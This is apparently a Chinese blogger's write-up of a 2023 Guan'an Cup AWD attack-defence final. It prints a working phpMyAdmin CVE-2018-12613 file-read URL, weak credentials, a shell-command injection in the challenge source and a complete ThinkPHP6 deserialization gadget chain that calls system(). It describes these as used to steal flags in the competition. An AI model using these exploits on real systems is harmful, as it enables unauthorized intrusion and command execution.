周三和同事组队“金盾检测”参加了 2023 观安杯管理运维赛线下总决赛。原本看了官网上对赛制的介绍,并参考了前两年的总决赛,以为决赛是应急响应的模式,赛前还猛猛看了一些资料。结果周三早上过去调试的时候,让测试的平台是 awd 的平台,感觉不对劲了。问了下工作人员,确认了下午的模式是 awd。遂赶紧掏出尘封已久的框架在那调试,给我急坏了(然而真正比赛的时候根本没用上)
最后虽然没有pwn手在(全场似乎也没有pwn手),但还是小拿一手第一,估计来参加的队伍也都以为应急响应的模式,所以没有做好相应准备。
整场比赛有4台靶机,两台 web 两台 pwn,我们只做出了两个 web,甚至根本没搭理 pwn(还好全场也没有 pwn 手,不然被打了都不知道怎么修)但说实话,三个小时下来我是比较坐牢的,因为除了当交 flag 的猴子外,基本没别的事儿做。
web1
进入前台是一个很简单的 blog,但是根据源码我们可以看到,在 admin/pma 目录下是一个 phpMyAdmin 的后台管理系统。然后在web根目录下的 database.php 文件中我们可以得到一个账户和用户名密码 ctf:ctf
1234567891011121314151617181920212223242526 |
error_reporting(0); define('MYSQL_SERVER', 'localhost') ; define('MYSQL_USER', 'ctf') ; define('MYSQL_PASSWORD', 'ctf') ; define('MYSQL_DB', 'blog') ; function db_connect(){ $link = mysqli_connect(MYSQL_SERVER, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DB) or die ("Error: ".mysqli_error($link)); if(!mysqli_set_charset($link, "utf8")) { printf("Error: ".mysqli_error($link)); } return $link; }//testif(isset($_GET['host'])){$link = mysqli_query(mysqli_connect($_GET['host'],$_GET['username'],$_GET['password'],$_GET['database'],$_GET['port']), "set names utf8"); if ($link){ echo "<script>alert('success')</script>"; }else{ echo "<script>alert('error')</script>"; }} |
那么肯定要赶紧把这个密码给改掉,当然单单在这个 php 文件中改肯定是没用的,得用 sql 语句改 UPDATE ctf SET pass='' where user_id=1;
然后再在这里改掉,不然网站可能会因为连不上数据库然后崩掉而被 check。
修完自己的当然就是去看看还有哪些手慢的队伍。我们的 “第一桶金“ 就是利用的这个弱口令,在利用弱口令登录后台后,利用 pma 后台任意文件读(CVE-2018-12613)即可获取根目录的 flag 了。
payload:http://10.103.x.1/admin/pma/index.php?target=db_sql.php%253f%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag
由于 ctf 用户的权限很低,没办法写 shell,所以我们只能读读 flag,另外由于种种原因,没有写出自动化利用的脚本,所以当时我们就是一个个手输flag。大概打了三四轮后,被打的队伍都发现了这个点,就把这个口令改了,(某些队伍可能因为只是改了 php 文件还被check了)然后我们就没事儿做了。其他队伍发现这个点后也基本没来得及利用,这让我们狠狠捞了一笔。
正当我对 web2 如何读其他选手 encrypted_flag 文件一筹莫展之时,队友突然内网通发来消息,
好家伙,还有一个弱口令。队友在看 pma 后台看账户的时候发现,除了 ctf,还有 admin 和 root 账户,root 的口令没爆破出来,倒是把 admin 的口令给爆破出来了。于是我们又利用这个口令狠狠爆其他队伍的flag。这个口令由于不能直接在源码文件中找到,因此大部分的队伍直到比赛结束也都没修。
虽然但是,到后面我们的 web1 也一直在被打,所以应该还是有别的漏洞点我们没有发现的。
web2
web2 是一个基于 thinkphp 6 框架搭建的网站,有疑点的部分是在 \public\sendtodatabase.php 文件中
12345678910111213141516171819202122232425262728293031323334353637 |
// require __DIR__ . '/../app/start.php';namespace app\controller;require_once('/var/www/app/controller/DataController.php');use app\BaseController;$servername = "127.0.0.1";$username = "root";$password = "root";$dbname = "contact_user";$conn = new \MySQLi($servername, $username, $password, $dbname);if ($conn->connect_error) { die("Database connection failed: " . $conn->connect_error);}$serializedData = $_POST["serializedData"];//$command = "python3 /var/www/app/encrypted.py '$serializedData'";$command = "ip";$encryptedData_modulus = shell_exec($command);$encryptedData_modulus = str_replace("'","\"",$encryptedData_modulus);$encryptedData_modulus = str_replace("\", \"","\":\"",$encryptedData_modulus);$encryptedData_modulus = json_decode($encryptedData_modulus, true);$index = 0;foreach ($encryptedData_modulus as $inner_array) { foreach ($inner_array as $encryptedData => $modulus) { // echo "encryptedData: $encryptedData, modulus: $modulus\n"; $infotablename = "user_info" . ($index + 1); $sql = "INSERT INTO $infotablename (cryptedData, modulus) VALUES ('$encryptedData', '$modulus')"; if ($conn->query($sql) === TRUE) { echo "Data has been successfully inserted into the ". $infotablename . "\n"; } else { echo "Data insertion failed: " . $conn->error; } $index = $index + 1; }}$conn->close(); |
可以看到这里有一行命令 $command = "python3 /var/www/app/encrypted.py '$serializedData'";
虽然这部分代码并不能运行起来(连接数据库的用户名密码是错的),但我们在 web 根目录下确实看到了 encrypted_flag 文件,查看 app/encrypted.py 文件
1234567891011121314151617181920212223242526272829303132333435 |
import sysimport libnumimport random# if len(sys.argv) < 2:# print("error")# exit(1)with open("/flag", "r") as file: data = file.read()# data = sys.argv[1]EeEeEeEeEe = 23cryptedData_modulus=[]# modulus_list = []# cryptedData_list = []def ToEncrypt_Encrypting_Encrypted(e,data): PpPpPpPp=libnum.generate_prime(1024) QqQqQqQq=libnum.generate_prime(1024) Dadadata=libnum.s2n(data) modulus=PpPpPpPp * QqQqQqQq # modulus_list.append(modulus) cryptedData=pow(Dadadata,EeEeEeEeEe,modulus) # cryptedData_list.append(cryptedData) correspondingData = {str(cryptedData):str(modulus)} cryptedData_modulus.append(correspondingData)def main(): for i in range(6): ToEncrypt_Encrypting_Encrypted(EeEeEeEeEe,data) print(cryptedData_modulus) # print(f"cryptedData_list = {cryptedData_list}") # print(f"modulus_list = {modulus_list}") with open("/var/www/encrypted_flag", "w") as file: file.write(str(cryptedData_modulus))main() |
可以看到这里对服务器根目录下的 flag 文件使用 RSA 进行加密并将密文存在了 /var/www/encrypted_flag 中,这里使用的 RSA 公钥指数为 23,模数都不相同,还加密了 6 次,显然是一个低加密指数广播攻击的场景。然并卵,我一直没找到如果读取其他队伍 encrypted_flag 文件的方法。恨!
不过在/route 文件夹下找到了一个 app.php
1234567891011121314151617181920 |
// +----------------------------------------------------------------------// | ThinkPHP [ WE CAN DO IT JUST THINK ]// +----------------------------------------------------------------------// | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.// +----------------------------------------------------------------------// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )// +----------------------------------------------------------------------// | Author: liu21st <[email protected]>// +----------------------------------------------------------------------use think\facade\Route;Route::get('think', function () { return 'hello,ThinkPHP6!';});Route::get('hello/:name', 'index/hello');Route::get('/', 'index/index');Route::post('/postdata', 'index/postdata'); |
里面给了一个 postdata 的接口,看到 /app/controller/Index.php 文件
12345678910111213141516171819202122232425262728 |
namespace app\controller;require_once('/var/www/app/controller/DataController.php');use app\BaseController;class Index extends BaseController{ public function index(){ return view('index'); } public function postdata(){ $data = request() -> post('data'); if ($data) { $dataController = new DataController(); $unseiazlizeData = $dataController->unserializeData($data); echo $unseiazlizeData; return "6"; } else { return "post data failed"; } }} |
反序列化的口子砸脸上了,队友说他之前国赛考的就是 thinkphp6 的反序列化,不过手里没存 poc,现挖也挖不出来啊,恨!
最后主办方可能看不下去了,在倒数三四轮的时候把 poc 发出来了
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101 |
namespace think { abstract class Model { private $lazySave = true; private $data = ['a' => 'b']; private $exists = true; protected $withEvent = false; protected $readonly = ['a']; protected $relationWrite; private $relation; private $origin = []; public function __construct($value){ $this->relation = ['r' => $this]; $this->origin = ["n" => $value]; $this->relationWrite = ['r' => ["n" => $value] ]; } } class App{ protected $request; } class Request{ protected $mergeParam = true; protected $param = ["whoami"]; protected $filter = "system"; }}namespace think\model { use think\Model; class Pivot extends Model{ }}namespace think\route { use think\App; class Url{ protected $url = ""; protected $domain = "domain"; protected $route; protected $app; public function __construct($route){ $this->route = $route; $this->app = new App(); } }}namespace think\log { class Channel { protected $lazy = false; protected $logger; protected $log = []; public function __construct($logger){ $this->logger = $logger; } }}namespace think\session { class Store { protected $data; protected $serialize = ["call_user_func"]; protected $id = ""; public function __construct($data){ $this->data = [$data, "param"]; } }}namespace { $request = new think\Request(); // param $store = new think\session\Store($request); // save $channel = new think\log\Channel($store); // __call $url = new think\route\Url($channel); // __toString $model = new think\model\Pivot($url); // __destruct echo urlencode(serialize($model));} |
然后我们就立刻拿下,队友马上写出了自动化利用的脚本,狠狠爆其他队伍的 flag。不过由于时间太晚,只剩三轮了,大家也倦了,不想搞了,只想当一当猴子交一交 web1 的flag。如果手里提前存着 poc 的话,那就有时间写马,可以权限维持,可以弹shell,可以 fork 炸弹,可以 … (真正的 awd 就开始了)
阿巴阿巴,就是这么多了,除了当了一天交 flag 的猴子外啥也没干成,到最后也还是不知道怎么读 encrypted_flag,(拿到 poc 后都可以直接读 /flag 了,谁还读 encrypted_flag 啊)菜菜,全靠队友带。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 [email protected] - source:Van1sh的小屋
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论